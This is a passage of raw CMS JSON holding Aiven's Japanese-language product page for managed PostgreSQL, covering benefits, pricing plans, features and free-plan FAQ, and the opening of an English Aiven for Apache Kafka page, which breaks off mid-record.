Image","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"71635720f6c1","_type":"block","children":[{"_key":"69519a0c590f0","_type":"span","marks":[],"text":"重要なアプリケーションにとってダウンタイムは災害です。その災害を防ぐため、Aivenは99.99%のアップタイムを実現しました。さらに、必要な際には、サポートチームのスタッフに問い合わせることができます。"}],"markDefs":[],"style":"normal"}],"title":"99.99%のアップタイム - 100%サポート要員によるサポート"},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"b71cde196181","_type":"block","children":[{"_key":"bc3d64330e130","_type":"span","marks":[],"text":"Aiven for PostgreSQLの価格には、すべてが含まれています。一括払いで、ネットワークからデータストレージなどにかかるコストがすべて含まれています。追加の請求や手数料などは一切ありません。"}],"markDefs":[],"style":"normal"}],"title":"透明性が高い価格設定 - ネットワークコストは不要"},{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"1c61a07c6405","_type":"block","children":[{"_key":"f9c3f186dd2c0","_type":"span","marks":[],"text":"ストレージ容量を増やす、クラスタを増やす、新しいリージョンを拡張する等、Aiven for PostgreSQLではかつてないほど簡単に実現できます。"}],"markDefs":[],"style":"normal"}],"title":"必要に応じてスケールアップ、スケールダウンが可能"}],"id":"benefits","rounded":false,"subtitle":[{"_key":"f8b0b0df05cb","_type":"block","children":[{"_key":"685f41ac7dc60","_type":"span","marks":[],"text":"データベースのセットアップや保守点検に丸一日を費やしたいと思う人はいないでしょう。また、セキュリティパッチのインストールやアップグレード、スケールアップに伴う不具合の確認にも時間がかかります。"}],"markDefs":[],"style":"normal"},{"_key":"bf77bcf03ab1","_type":"block","children":[{"_key":"4da627b307870","_type":"span","marks":[],"text":"AivenがホスティングするフルマネージドのPostgreSQL®であれば、クリック数回でクラスタを起動できるため、DBの管理に時間を取られることなく、コーディングに集中することができます。"}],"markDefs":[],"style":"normal"}],"tagline":"メリット","title":"Aiven for PostgreSQL®サービスのメリット","variant":"header-left"},{"_key":"9ea9e20f9cda","_type":"testimonial","ctaLink":{"_type":"link","internalLink":{"_ref":"be4378c0-8d66-4694-8a37-b9519f4b10ae","_type":"reference"},"title":"すべてのケーススタディを見る"},"disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"f03828dbe007","_ref":"2jy3rhB4RcMWV5uGMAvmyG__i18n_ja","_type":"reference"},{"_key":"52ccf8e7d790","_ref":"LUQA3Da37Nwm4sXBuCTQe__i18n_ja","_type":"reference"},{"_key":"c9584f404a7c","_ref":"1xuRxKM2Y1KB0EzTwOR4sy__i18n_ja","_type":"reference"}],"rounded":false,"tagline":"お客様事例","title":"Aivenのお客様によるPostgreSQLの活用方法","variant":"logo"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"pricing","items":[{"_key":"1c5e376ed538","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/ja/pricing?product=pg","title":"プランを見る"},"subtitle":[{"_key":"b8905ebc5c9a","_type":"block","children":[{"_key":"fc79dfe699010","_type":"span","marks":[],"text":"月額0ドルからスタートし、価格は、ノード数とストレージ要件に応じて変わります。時間単位の課金により、コストを削減できます。プランの変更は、追加料金なしでいつでも可能です。"}],"markDefs":[],"style":"normal"}],"title":"プランの比較","variant":"default"},{"_key":"e8db9146b1ab","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"PostgreSQLの無料プランを開始する"},"subtitle":[{"_key":"96d54d4c6b43","_type":"block","children":[{"_key":"0550a5cc1eb30","_type":"span","marks":[],"text":"PostgreSQLの無料プランには、仮想マシン1台、バックアップ、ネットワークが含まれています。コミュニティによるサポートを受けることができます。"}],"markDefs":[],"style":"normal"}],"title":"無料プランを開始する ","variant":"default"}],"rounded":false,"subtitle":[{"_key":"ec8592eef20a","_type":"block","children":[{"_key":"2218c180ceef0","_type":"span","marks":[],"text":"月額にはすべてが含まれているため、月末に予期せぬ請求額が届くことはありません。プライベートネットワーク(VPC)と専用インスタンス - ビジネス(Business)プラン(2ノード)とプレミアム(Premium)プラン(3ノード)では高可用性構成を提供しています。メンテナンス、ネットワーク、ストレージの追加料金はありません。"}],"markDefs":[],"style":"normal"}],"tagline":"価格プラン","title":"スケールアップ、スケールダウン - 利用した分だけ課金"},{"_key":"f87f714443e0","_type":"textColumn","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"title":"今すぐオンラインで最初のデータ基盤を立ち上げましょう","variant":"centerColumn"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","rounded":false,"tagline":"機能紹介","title":"主な機能","variant":"centerColumn"},{"_key":"b3c61d1d32f4faf97c0a21c456589e75","_type":"textVideo","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"rounded":false,"tagline":"セットアップ","text":[{"_key":"1d46c4ae3a24","_type":"block","children":[{"_key":"6977f2a58f600","_type":"span","marks":[],"text":"10分で本番環境にPostgreSQLクラスタを構築"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b29dc0c06545","_type":"block","children":[{"_key":"626e06174cf00","_type":"span","marks":[],"text":"ご希望のクラウドにデプロイ可能 - 5つのパブリッククラウドと100以上のリージョンをサポート"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c23f56e22cee","_type":"block","children":[{"_key":"9afe34773be10","_type":"span","marks":[],"text":"厳選されたインスタンスタイプとストレージオプションに基づく"},{"_key":"9afe34773be11","_type":"span","marks":["fec16d4dbaf6"],"text":"高性能"},{"_key":"9afe34773be12","_type":"span","marks":[],"text":"クラスタ"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"fec16d4dbaf6","_type":"link","href":"https://aiven.io/blog/aiven-for-postgresql-13-performance-on-gcp-aws-and-azure-benchmark"}],"style":"normal"},{"_key":"f5fd8ed28f6f","_type":"block","children":[{"_key":"11c174f0b5380","_type":"span","marks":[],"text":"厳しい管理環境に対応した"},{"_key":"11c174f0b5381","_type":"span","marks":["d828aa28aca5"],"text":"Bring-your-own-cloud (BYOC)"},{"_key":"11c174f0b5382","_type":"span","marks":[],"text":"デプロイモデル"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d828aa28aca5","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"},{"_key":"d4e42fe99746","_type":"block","children":[{"_key":"ba5b8ccd8b5b0","_type":"span","marks":[],"text":"大容量ストレージ - 10TBプラン"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"柔軟、迅速、ストレスフリー","variant":"mediaLeft","ytId":"tJfQMubaspg"},{"_key":"85009f410ade83c5a2683908777f1823","_type":"textVideo","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"rounded":false,"tagline":"接続","text":[{"_key":"b0d00d32ca64","_type":"block","children":[{"_key":"c0db226b29f80","_type":"span","marks":["7db5e12a1687"],"text":"VPC peering"},{"_key":"c0db226b29f81","_type":"span","marks":[],"text":"、"},{"_key":"c0db226b29f82","_type":"span","marks":["d31da98da6df"],"text":"PrivateLink"},{"_key":"c0db226b29f83","_type":"span","marks":[],"text":"または"},{"_key":"c0db226b29f84","_type":"span","marks":["fa2d0904810a"],"text":"TransitGateway"},{"_key":"c0db226b29f85","_type":"span","marks":[],"text":"テクノロジーを使用したセキュアなネットワーク接続"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"7db5e12a1687","_type":"link","href":"https://help.aiven.io/en/articles/778836-using-virtual-private-cloud-vpc-peering"},{"_key":"d31da98da6df","_type":"link","href":"https://docs.aiven.io/docs/tools/cli/service/privatelink"},{"_key":"fa2d0904810a","_type":"link","href":"https://help.aiven.io/en/articles/3507710-attach-vpc-to-aws-transit-gateway"}],"style":"normal"},{"_key":"e591e7f18147","_type":"block","children":[{"_key":"9b661cc6dc550","_type":"span","marks":[],"text":"TimescaleDBを含む"},{"_key":"9b661cc6dc551","_type":"span","marks":["0af0a9b5b9cb"],"text":"70以上のPostgreSQLの拡張機能"},{"_key":"9b661cc6dc552","_type":"span","marks":[],"text":"が利用可能"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"0af0a9b5b9cb","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/reference/list-of-extensions"}],"style":"normal"},{"_key":"b0afd4e23986","_type":"block","children":[{"_key":"1c1f60b2de810","_type":"span","marks":["91d3fa498683"],"text":"接続プーリング"},{"_key":"1c1f60b2de811","_type":"span","marks":[],"text":"により、クライアントアプリケーション接続の管理を簡素化"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"91d3fa498683","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/concepts/pg-connection-pooling"}],"style":"normal"},{"_key":"d4c28229e2bb","_type":"block","children":[{"_key":"a441c09c355d0","_type":"span","marks":[],"text":"Datadog、Prometheus、Jolokia、その他のお気に入りのオブザーバビリティ(可観測性)ツールに"},{"_key":"3adc7714555e","_type":"span","marks":["dca2d52d4b1e"],"text":"統合"},{"_key":"860985618f5a","_type":"span","marks":[],"text":"したり、"},{"_key":"a441c09c355d3","_type":"span","marks":["d9a5db2c9156"],"text":"Aivenの可観測性ツール"},{"_key":"a441c09c355d4","_type":"span","marks":[],"text":"を使用して監視とロギングを強化することが可能"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d9a5db2c9156","_type":"link","href":"https://aiven.io/time-series-databases/monitoring-and-observability"},{"_key":"dca2d52d4b1e","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4__i18n_ja","_type":"reference"}}],"style":"normal"},{"_key":"447df466dda0","_type":"block","children":[{"_key":"61b1a4050fd9","_type":"span","marks":[],"text":"災害復旧または地理的近接性のため、異なるクラウドまたはリージョンに"},{"_key":"32a5b11a53711","_type":"span","marks":["697b6959bb11"],"text":"読み取りレプリカを作成"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"697b6959bb11","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/create-read-replica"}],"style":"normal"}],"title":"データインフラストラクチャとの統合","variant":"mediaRight","ytId":"3H3PsPWFYmg"},{"_key":"b54ccb18eefa","_type":"textVideo","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"rounded":false,"tagline":"管理","text":[{"_key":"31df9ba18bb3","_type":"block","children":[{"_key":"e310ea5e231a0","_type":"span","marks":[],"text":"Aiven Console (GUI) 、"},{"_key":"e310ea5e231a1","_type":"span","marks":["1b5a85e0b4ae"],"text":"CLI"},{"_key":"e310ea5e231a2","_type":"span","marks":[],"text":"、TerraformまたはKubernetesツールを使用してPostgreSQLクラスタを管理"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1b5a85e0b4ae","_type":"link","href":"https://docs.aiven.io/docs/tools/cli"}],"style":"normal"},{"_key":"9e96ee330c35","_type":"block","children":[{"_key":"22e7567f62e50","_type":"span","marks":[],"text":"数クリックでスケールアップ、データベースのフォーク、アップグレード、リードレプリカの作成を実行"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a1caa9a44bff","_type":"block","children":[{"_key":"d0ab2341b6060","_type":"span","marks":["765455816e09"],"text":"オープンソースソフトウェア"},{"_key":"41b2a04d131f","_type":"span","marks":[],"text":"との互換性を保証"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"765455816e09","_type":"internalLink","internalLink":{"_ref":"227fce02-f6f1-4e82-a166-820dac2c21f5","_type":"reference"}}],"style":"normal"},{"_key":"9b6f6d4e3009","_type":"block","children":[{"_key":"ac07e2784ccc0","_type":"span","marks":[],"text":"クラウドやリージョン間での移行が容易"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOpsに適した管理と開発","variant":"mediaLeft","ytId":"e0ewtpEqtFQ"},{"_key":"c48ee4ff96855f5b9f1c0870730c31aa","_type":"textVideo","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"rounded":false,"tagline":"サービス","text":[{"_key":"f06b0f1674a0","_type":"block","children":[{"_key":"809d1e1bc5720","_type":"span","marks":[],"text":"99.99%のアップタイムSLAを実現する自己修復プラットフォーム"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3be36fca3227","_type":"block","children":[{"_key":"c2ba0d77e48c0","_type":"span","marks":["22194411d4d7"],"text":"高可用性"},{"_key":"c2ba0d77e48c1","_type":"span","marks":[],"text":"プランには、読み取りレプリカとしても機能する1つまたは2つのスタンバイノードが付属"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"22194411d4d7","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/concepts/high-availability"}],"style":"normal"},{"_key":"4fc97e292581","_type":"block","children":[{"_key":"242d79da7eae0","_type":"span","marks":[],"text":"スケーリング、アップグレードなどの管理運用時のダウンタイムゼロ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b7f74571c45a","_type":"block","children":[{"_key":"43e1e98b0a5b0","_type":"span","marks":["b16fddf3c093"],"text":"ポイントインタイムリカバリ(PITR)に対応"},{"_key":"43e1e98b0a5b1","_type":"span","marks":[],"text":"した自動バックアップ"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b16fddf3c093","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/create-manual-backups"}],"style":"normal"},{"_key":"32ff7c329e16","_type":"block","children":[{"_key":"8294598e82f40","_type":"span","marks":["e039aa1ad715"],"text":"安全でコンプライアンス準拠のソリューション"},{"_key":"3acafb60c735","_type":"span","marks":[],"text":" - ISO 27001:2013、SOC2、GDPR、HIPAA、PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e039aa1ad715","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5__i18n_ja","_type":"reference"}}],"style":"normal"},{"_key":"1a141a4dfb3b","_type":"block","children":[{"_key":"0548a1b163410","_type":"span","marks":[],"text":"100%サポート要員による24時間265日のサポートオプション"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"信頼性、安全性、ロックインなし","variant":"mediaRight","ytId":"XyY5yiqGcC4"},{"_key":"cf168a4da3de","_type":"cardList","align":"center","disabled":false,"fullWidth":true,"id":"resources","items":[{"_key":"de5c0fc00e2e","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/postgresql","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527-jpg","_type":"reference"}},"subtitle":[{"_key":"f2f579143f02","_type":"block","children":[{"_key":"ed3038ab733c0","_type":"span","marks":[],"text":"Aiven for PostgreSQL入門、コアコンセプト、ハウツーなどをご紹介します。"}],"markDefs":[],"style":"normal"}],"tagline":"Aivenドキュメント","title":"ドキュメント","variant":"default"},{"_key":"e83afc838067","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"1vjknmEaGKkLhki8EC08Ua","_type":"reference"},"title":"詳細はこちら"},"image":{"_type":"mainImage","asset":{"_ref":"image-fb054e80363a02c8e50238630c9f917a56b9b484-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"9b88150c8c60","_type":"block","children":[{"_key":"02763dde71330","_type":"span","marks":[],"text":"データベースへのHTTPインタフェースを設定することは、多くの作業を必要とします。PostgRESTが、PostgreSQL®へのRESTfulなアクセスを迅速かつ簡単に提供する方法についてご説明します。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"PostgRESTを使用したREST APIの迅速な開発","variant":"default"},{"_key":"0350247f85810c02796c86a18ea8dc7d","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"145w1kDoj7UfbaINvzIOg9","_type":"reference"},"title":"詳細はこちら"},"image":{"_type":"mainImage","asset":{"_ref":"image-b0449afd20c8f661e22eb3ac624f2bd11b69c630-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"121723e23d62","_type":"block","children":[{"_key":"61b9d4dc70660","_type":"span","marks":[],"text":"このページでは、PostgreSQL®の全容について説明しています。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"PostgreSQL®の紹介","variant":"default"}],"rounded":false,"tagline":"リソース","title":"Aiven for PostgreSQLの使用方法についての説明"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"44ee19527273","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3__i18n_ja","_type":"reference"},{"_key":"b2bef6746794","_ref":"8a523089-6963-4c88-a767-1a29d588861c__i18n_ja","_type":"reference"},{"_key":"feca580c50ad","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec__i18n_ja","_type":"reference"},{"_key":"42ce92c17fd0","_type":"accordionItem","id":"pg-free-plan","panelText":[{"_key":"2a7a78dfa0fc","_type":"block","children":[{"_key":"c4a38f2153cb","_type":"span","marks":[],"text":"PostgreSQLの無料プランに含まれるものは、以下の仕様で提供されます。"}],"markDefs":[],"style":"normal"},{"_key":"c9c630f2e510","_type":"block","children":[{"_key":"d72e59e45be00","_type":"span","marks":[],"text":"シングルノード"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"08e479b75b98","_type":"block","children":[{"_key":"4a3275243b2d0","_type":"span","marks":[],"text":"1 CPU"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9b0c2e35db2d","_type":"block","children":[{"_key":"c093f1b292b80","_type":"span","marks":[],"text":"1GB RAM"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"984a0289b6cd","_type":"block","children":[{"_key":"d1dc3f734c650","_type":"span","marks":[],"text":"5GBストレージ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4480d940c7a0","_type":"block","children":[{"_key":"37ded293e0fe0","_type":"span","marks":[],"text":"Webコンソール、CLI、API、Terraformプロバイダ、Kubernetesオペレータによる容易な管理"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2798484a235b","_type":"block","children":[{"_key":"96694ce284070","_type":"span","marks":[],"text":"すぐに使えるモニタリング(メトリクスとログ)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3f814ddc3bd9","_type":"block","children":[{"_key":"2bad8417623f0","_type":"span","marks":[],"text":"バックアップ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a2439b1f5991","_type":"block","children":[{"_key":"4386348086330","_type":"span","marks":[],"text":"コミュニティサポート"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9113cd4ae2e1","_type":"block","children":[{"_key":"71e4d34123690","_type":"span","marks":[],"text":"ただし、Aivenプラットフォーム機能の一部はご利用いただけません。"}],"markDefs":[],"style":"normal"},{"_key":"a43635704138","_type":"block","children":[{"_key":"c18b9fd1f47d0","_type":"span","marks":[],"text":"VPCピアリング、サービス統合、フォーキングはできません"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a9f596f84401","_type":"block","children":[{"_key":"813e8c5e7f9c0","_type":"span","marks":[],"text":"コネクションプーリングはありません"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d2ed3ebceff1","_type":"block","children":[{"_key":"dcffe165d2130","_type":"span","marks":[],"text":"コミュニティサポートのみです"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2615dd44b30f","_type":"block","children":[{"_key":"0ce4d8fcafe70","_type":"span","marks":[],"text":"99.99% SLAは提供されません"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"75fa8406ef6e","_type":"block","children":[{"_key":"f2b24829537c0","_type":"span","marks":[],"text":"AWSの9リージョンのみに限定されます"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"40d0c89eaa24","_type":"block","children":[{"_key":"9fee78bfc4b80","_type":"span","marks":[],"text":"ユーザーおよび組織ごとに、1サービスタイプにつき、1サービスのみのご利用となります"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"PostgreSQLの無料プランには何が含まれているのでしょうか?"},{"_key":"8a0d3866f767","_ref":"e514e6cc-1088-4768-8a49-ea0e01ea7123__i18n_ja","_type":"reference"}],"rounded":false,"title":"よくある質問"}],"infoBanner":{"_ref":"5831708f-87f1-4e3b-84a7-3a24300d3689__i18n_ja","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"Aiven for PostgreSQL®サービス - 世界中の主要クラウドにデプロイ可能で、データベースのフォークやコネクションプーリングなどの高度な機能を備えています。","metaImage":{"_type":"mainImage","asset":{"_ref":"image-28932d4ef1d80f6633d8a67fb8d6f7d980736c32-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for PostgreSQL®\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"マネージドPostgreSQL、PostgreSQL as a Service、クラウドPostgreSQL\",\n \"description\": \"Aiven for PostgreSQL, PostgreSQL as a Serviceは、最高のオープンソースSQLデータベースとGoogle Cloud Platform, Amazon Web Services, Microsoft Azure, DigitalOcean, UpCloudのグローバルカバレッジを組み合わせ、マネージドクラウドPostgreSQLソリューションを提供します。\",\n \"featureList\": \"読み取り専用レプリカ、リモート読み取りレプリカ、論理レプリケーション、インプレースメジャーアップグレード、PostgreSQL拡張機能、接続プーリング、データベースフォーク、ポイントインタイムリカバリー、Terraformサポート、Aivenメトリクス統合、Aivenサービスログ統合、VPCピアリング、高可用性、Google Cloud Platformで利用可能、Amazon Web Servicesで利用可能、Microsoft Azureで利用可能、DigitalOceanで利用可能\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/postgresql\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"オープンソースのSQLデータベース\",\n \"applicationSubCategory\": \"リレーショナルデータベース管理システム\"\n}","metaTitle":"Managed PostgreSQLサービス|Aiven"},"service":{"_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},"slug":{"_type":"slug","current":"/postgresql"},"title":"Postgresql"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5__i18n_ja","_type":"reference"}],"_createdAt":"2022-05-26T13:50:00Z","_id":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_rev":"UCe181y7ND8VpGNVMOQdMr","_type":"product","_updatedAt":"2025-01-20T10:47:53Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for Apache Kafka®","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform "}},"darkTheme":true,"description":[{"_key":"1b1cef0c2ef4","_type":"block","children":[{"_key":"a96e62e022660","_type":"span","marks":[],"text":"Apache Kafka managed service, deployed in the cloud of your choice with a full set of capabilities to build your event-driven architecture and streaming data pipelines."}],"markDefs":[],"style":"normal"}],"disabled":false,"formType":"trial","heroHasForm":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"f648e8c506f2","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"1c146859ce27","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"7ed3933a65a3","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","alt":"Managed Apache Kafka service by Aiven","asset":{"_ref":"image-855f2451d7db558f8db7fb5cd49605ac0fdbeaa4-1600x1074-png","_type":"reference"}},"imageSize":"default","primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup?campaign=kafka","title":"Get started for free"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/kafka","title":"See docs"},"tagline":"Managed and hosted","tertiaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka","title":"See docs"},"title":"Aiven for Apache Kafka®","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"How it works"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"Benefits"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"Customer use cases"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"Features"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"Pricing"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"FAQ"},{"_key":"8af4fd351767","_type":"scrollSpyNavItem","sectionId":"resources","title":"Resources"}],"logo":{"_type":"mainImage","alt":"Hosted Apache Kafka: Aiven for Apache Kafka","asset":{"_ref":"image-184cb33e057478405636d30b72f56c94f88ca103-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"},"title":"Aiven for Apache Kafka®"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"title":"Aiven for Apache Kafka®"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","noSpaceBottom":true,"noSpaceTop":false,"steps":[{"_key":"7764be2f4957","_type":"textItem","content":[{"_key":"a216fd5dd2d3","_type":"block","children":[{"_key":"a60e92af91d4","_type":"span","marks":[],"text":"Aiven for Apache Kafka®"}],"markDefs":[],"style":"h3"},{"_key":"12988f0401c4","_type":"block","children":[{"_key":"d15ad6a8c293","_type":"span","marks":[],"text":"An open source, distributed data platform designed to handle large-scale, real-time data streams. It is highly scalable and fault tolerant, providing a durable platform for streaming data with extremely low latency. Data is stored in “topics” for easy and understandable organization."}],"markDefs":[],"style":"normal"},{"_key":"476bcc0bd958","_type":"block","children":[{"_key":"4da4eb6745ee0","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"9bd9b8db8497","_type":"block","children":[{"_key":"df18e92e2a780","_type":"span","marks":["00c31a234139"],"text":"Get started with Aiven for Apache Kafka (docs)"}],"markDefs":[{"_key":"00c31a234139","_type":"link","href":"https://aiven.io/docs/products/kafka/get-started"}],"style":"normal"},{"_key":"92c2cc623495","_type":"block","children":[{"_key":"95979c908aa80","_type":"span","marks":["5053cac8efaf"],"text":"What is Apache Kafka?"}],"markDefs":[{"_key":"5053cac8efaf","_type":"internalLink","internalLink":{"_ref":"cea04874-dd89-4b2c-acc7-3d1ddaf32a22","_type":"reference"}}],"style":"normal"},{"_key":"4e6a4dcdb67f","_type":"block","children":[{"_key":"1a2df5e6cae90","_type":"span","marks":["d6fb6762340b"],"text":"Introduction to event-driven architecture (blog)"}],"markDefs":[{"_key":"d6fb6762340b","_type":"internalLink","internalLink":{"_ref":"5tcvRybcSkU7QRXuhXA7vZ","_type":"reference"}}],"style":"normal"}]},{"_key":"680f378ade94","_type":"textItem","content":[{"_key":"b3e4070788b9","_type":"block","children":[{"_key":"20410ed643570","_type":"span","marks":[],"text":"Aiven for Apache Kafka® Connect"}],"markDefs":[],"style":"h3"},{"_key":"6b01b332ea00","_type":"block","children":[{"_key":"4ae2f1f919c1","_type":"span","marks":[],"text":"Read data from data producers and write data to Apache Kafka topics. Read data from Apache Kafka topics and write data to data consumers."}],"markDefs":[],"style":"normal"},{"_key":"26a623ee3227","_type":"block","children":[{"_key":"eecbed2318ef","_type":"span","marks":[],"text":"30+ pre-built connectors to popular data sources and destinations, like Aiven for OpenSearch, Aiven for MySQL, Aiven for ClickHouse, and more, with the ability to create custom connectors to other systems."}],"markDefs":[],"style":"normal"},{"_key":"46abc68b4583","_type":"block","children":[{"_key":"6bf29b7a510a0","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"da39f39bf4a1","_type":"block","children":[{"_key":"f3bd05c7cfc00","_type":"span","marks":["ee8851238d84"],"text":"See Aiven for Apache Kafka 